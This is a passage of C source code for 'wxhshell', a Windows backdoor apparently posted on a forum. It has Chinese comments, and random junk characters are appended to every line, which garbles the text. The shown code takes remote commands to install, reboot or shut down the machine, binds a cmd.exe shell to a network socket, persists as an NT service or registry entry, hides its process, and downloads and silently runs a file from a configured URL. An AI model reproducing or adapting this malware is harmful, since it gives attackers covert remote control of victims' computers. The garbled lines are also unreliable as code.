  case '?': { _[:6.oNjIe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g)Z8WH$;H3  
    break; q(sTKT[V  
  } 6)[moR{N1  
  // 安装 c r=Q39{  
  case 'i': { gC7!cn  
    if(Install()) `Fqth^RK?p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWS]l[Ga  
    else )Q2Ap&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lg^'/8^f  
    break; +IZ=E >a  
    } EEe$A?a;  
  // 卸载 lZzW- %K  
  case 'r': { bW yimr&B  
    if(Uninstall()) uYW4$6S 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >`QBN1 Y  
    else l5z//E}W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ammi4k/  
    break; *tjaac;z<J  
    } @ f[-  
  // 显示 wxhshell 所在路径 +.cpZqWn3  
  case 'p': { }n)0}U5;0  
    char svExeFile[MAX_PATH]; }i9:k kfq2  
    strcpy(svExeFile,"\n\r"); HwU9 y   
      strcat(svExeFile,ExeFile); 18$d-[hX  
        send(wsh,svExeFile,strlen(svExeFile),0); H3wJ5-q(  
    break; \p^V~fy7rU  
    } !Uiq3s`1T  
  // 重启 j26i+Z  
  case 'b': { +!).'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \((MoQ9Qk  
    if(Boot(REBOOT)) =By@%ioIGG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Cr  
    else { a)|y0w)vV  
    closesocket(wsh); L : $ `8  
    ExitThread(0); a\sK{`|X*  
    } DJGafX^  
    break; Y S3~sA  
    } WZa6*pF  
  // 关机 -TD\?Q  
  case 'd': { }L0 [ Jo:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (bm^R-SbB  
    if(Boot(SHUTDOWN)) bH+NRNI]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9!y3"..W{  
    else { ^f[6NYS?  
    closesocket(wsh); P9!awLM-  
    ExitThread(0); he|Q (?  
    } "{<X! ^u>  
    break; 3f =ZNJ>  
    } .2I?^w&j+  
  // 获取shell #1dVp!?3T  
  case 's': { tSy 9v  
    CmdShell(wsh); |JkfAnrN$I  
    closesocket(wsh); Ry95a%&/s  
    ExitThread(0); x'EEmjJ  
    break; Jm!,=} oP'  
  } ?HG[N7=j  
  // 退出 Wvl~|Sx]  
  case 'x': { Q{~g<G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y&(#C:N  
    CloseIt(wsh); y;o - @]  
    break; 2ZxhV4\  
    } 1zRYd`IPoq  
  // 离开 l]G iz&  
  case 'q': { 628iN%[-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NV5qF/<M  
    closesocket(wsh); #cQ5-R -1  
    WSACleanup(); (iKJ~bJ  
    exit(1); stG +4w  
    break; [4?r0vO  
        } ~d7t\S  
  } 2l?^\9&  
  } iM!Ya!  
b}TvQ+W]2  
  // 提示信息 v4e4,Nt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Z 9:  
} AL":j6!OQ  
  } 20I`F>-*  
2]kGDeSr  
  return; k"#gSCW$  
} GZO:lDdA  
fXWy9 #M  
// shell模块句柄 %N Q mV_1  
int CmdShell(SOCKET sock) k'r}@-X  
{ yeyDB>#Va.  
STARTUPINFO si; h: yJ  
ZeroMemory(&si,sizeof(si)); aV5M}:D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0SvPr [ >  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @QTw9,pS  
PROCESS_INFORMATION ProcessInfo; 1G]D:9-?  
char cmdline[]="cmd"; l%}q&_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bci]"uzB  
  return 0; <M\&zHv  
} he(K   
E5i5gE"\  
// 自身启动模式 N]F RL\K  
int StartFromService(void) }$i"t8"s  
{ mr7Oi `dE  
typedef struct D>k(#vYKB  
{ XQ~Xls%]   
  DWORD ExitStatus; U4 *u|A  
  DWORD PebBaseAddress; YE@yts  
  DWORD AffinityMask; e-*@R#x8+  
  DWORD BasePriority; r10VFaly  
  ULONG UniqueProcessId; 5Pf=Uj6D  
  ULONG InheritedFromUniqueProcessId; \^6[^\@[  
}   PROCESS_BASIC_INFORMATION; 2|x !~e.  
%GTFub0 F  
PROCNTQSIP NtQueryInformationProcess; R?u(aY)P  
a/ uo)']B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %Bw:6Y4LZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xc*a(v0  
q\@_L.tc[  
  HANDLE             hProcess; =4`wYh  
  PROCESS_BASIC_INFORMATION pbi; umns*U%T;  
id" `o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +D5gbxZX  
  if(NULL == hInst ) return 0; -i?gY F!G  
3E wdu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O? g;Ny  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @%fTdneH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bN-!&Td  
,K[e?(RP  
  if (!NtQueryInformationProcess) return 0; ,KJHYm=Q  
^mn!;nu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0GxJja  
  if(!hProcess) return 0; ;N#}3lpLqg  
|&"aZ!Kn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^"O>EY':  
^R:&c;&,  
  CloseHandle(hProcess); 7tWC<#  
W8S sv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^vMlRt;  
if(hProcess==NULL) return 0; M 6&=-  
0U~$u  
HMODULE hMod; +YZo-tE  
char procName[255]; sJKr%2nVV  
unsigned long cbNeeded; V?dwTc  
M~\dvJ$cH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ATqblU>D  
O|sk "YXF  
  CloseHandle(hProcess); O)`L( x  
:+6W%B  
if(strstr(procName,"services")) return 1; // 以服务启动 q83^?0WD  
]=t}8H  
  return 0; // 注册表启动 u `/V1  
} UhqTn$=fb  
27 XM&ZrZ  
// 主模块 q;bw }4  
int StartWxhshell(LPSTR lpCmdLine) Ea S[W?u}  
{ 2!0tD+B  
  SOCKET wsl; ^+Nd\tp  
BOOL val=TRUE; \t)va:y  
  int port=0; )YgntI@  
  struct sockaddr_in door; 3}FZg w .  
>=97~a+.  
  if(wscfg.ws_autoins) Install(); ;&<N1  
la<.B^  
port=atoi(lpCmdLine); _^Q!cB'~/`  
S[!6Lw  
if(port<=0) port=wscfg.ws_port; Dx1(}D  
x)=l4A\  
  WSADATA data; Eo2`Vr9g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )M dddz4  
#1U>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]fzXrN_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UstUPO  
  door.sin_family = AF_INET; S>I` y]qlR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K-:y  
  door.sin_port = htons(port); - (WH+  
1Sz tN3'q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }?,YE5~  
closesocket(wsl); #M|lBYdW}  
return 1; i[9yu-  
} V K6D  
we[+6Z6J  
  if(listen(wsl,2) == INVALID_SOCKET) { D(ItNMc Ku  
closesocket(wsl); ]}lt^7\=  
return 1; Y>w7%N  
} dJ I }uQ  
  Wxhshell(wsl); f~wON>$K  
  WSACleanup(); %B\x %e ;P  
3as=EYm  
return 0; d eT<)'"  
"\EX)u9ze  
} Xi%Og\vm5  
i*/i"W<  
// 以NT服务方式启动 ;ZUj2WxE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }(8>&  
{ g>h/|b w4  
DWORD   status = 0; 2|^@=.4\  
  DWORD   specificError = 0xfffffff; pDlrK&;\z  
BL 1KM2]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :pdX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V5(_7b#z``  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FA*$ dwp  
  serviceStatus.dwWin32ExitCode     = 0; P 9yMf~  
  serviceStatus.dwServiceSpecificExitCode = 0; %Zk6K!MY#  
  serviceStatus.dwCheckPoint       = 0; R`@T<ob)  
  serviceStatus.dwWaitHint       = 0; l+@;f(8}  
iOg4(SPci  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]uox ^HC  
  if (hServiceStatusHandle==0) return; pZ'q_Oux  
GGEM&0*  
status = GetLastError(); iGhvQmd(/*  
  if (status!=NO_ERROR) qZ^ PC-  
{ 0\:= KIY.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x7/Vf,N  
    serviceStatus.dwCheckPoint       = 0; Oe;#q  
    serviceStatus.dwWaitHint       = 0; w"?Q0bhV9y  
    serviceStatus.dwWin32ExitCode     = status; g0j)k6<6(Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; `;Tf_6c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ywJ [WfCY  
    return; #epbc K  
  } g6%]uCFB  
4+q,[m-$(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iY/2 `R  
  serviceStatus.dwCheckPoint       = 0; #4mRMsW5"  
  serviceStatus.dwWaitHint       = 0; nRc\!4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n5kGHL2   
} 73rme,   
r{v3 XD/  
// 处理NT服务事件,比如:启动、停止 Fge%6hu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4& cQW)  
{ ) n O ^Ay  
switch(fdwControl) }R<t=):  
{ t9U6\ru  
case SERVICE_CONTROL_STOP: V?S}%-a  
  serviceStatus.dwWin32ExitCode = 0; je^VJ&ac  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qm!cv;}c1  
  serviceStatus.dwCheckPoint   = 0; Lbrl CB+  
  serviceStatus.dwWaitHint     = 0; 7he,(V  
  { ^nNY| *  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?@4Mt2Z\  
  } AB/${RGf+  
  return; |K1S(m<F  
case SERVICE_CONTROL_PAUSE: a6n@   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XiTi3vCe  
  break; nrKAK^  
case SERVICE_CONTROL_CONTINUE: 1"Oe*@`pV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LHA^uuBN}  
  break; n7bVL#Sq[  
case SERVICE_CONTROL_INTERROGATE: ru 6`Z+p  
  break; `15}jTi  
}; +8zACs{p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U\lbh;9G  
} E2r5Pg  
aInt[D(  
// 标准应用程序主函数 ~|Vq v{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1rZ E2  
{ KsOSPQDGE  
Zzjx; SF  
// 获取操作系统版本 2*V%S/cck  
OsIsNt=GetOsVer(); dPu27 "  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _MC',p&  
Eh8GqFEM  
  // 从命令行安装 `3\U9ZH23  
  if(strpbrk(lpCmdLine,"iI")) Install(); M}o.= Iqa  
E>QS^)ih  
  // 下载执行文件 S|tA%2z  
if(wscfg.ws_downexe) { Db Qp (W0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2x<BU3  
  WinExec(wscfg.ws_filenam,SW_HIDE); fQib?g/G  
} M _< |n  
n R,QG8  
if(!OsIsNt) { THq}>QI  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Ct+W;2  
HideProc(); |_p7vl"  
StartWxhshell(lpCmdLine); T3oFgzoO  
} e=VSO!(rY  
else A x8>  
  if(StartFromService()) >I@&"&d  
  // 以服务方式启动 e">&B]#}  
  StartServiceCtrlDispatcher(DispatchTable); ]\fHc"/  
else pP.`+vPi  
  // 普通方式启动 X'$H'[8;C  
  StartWxhshell(lpCmdLine); |u%;"N'p)  
1R@G7m  
return 0; #9TL5-1y  
}
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只看该作者 1 发表于: 2006-10-10
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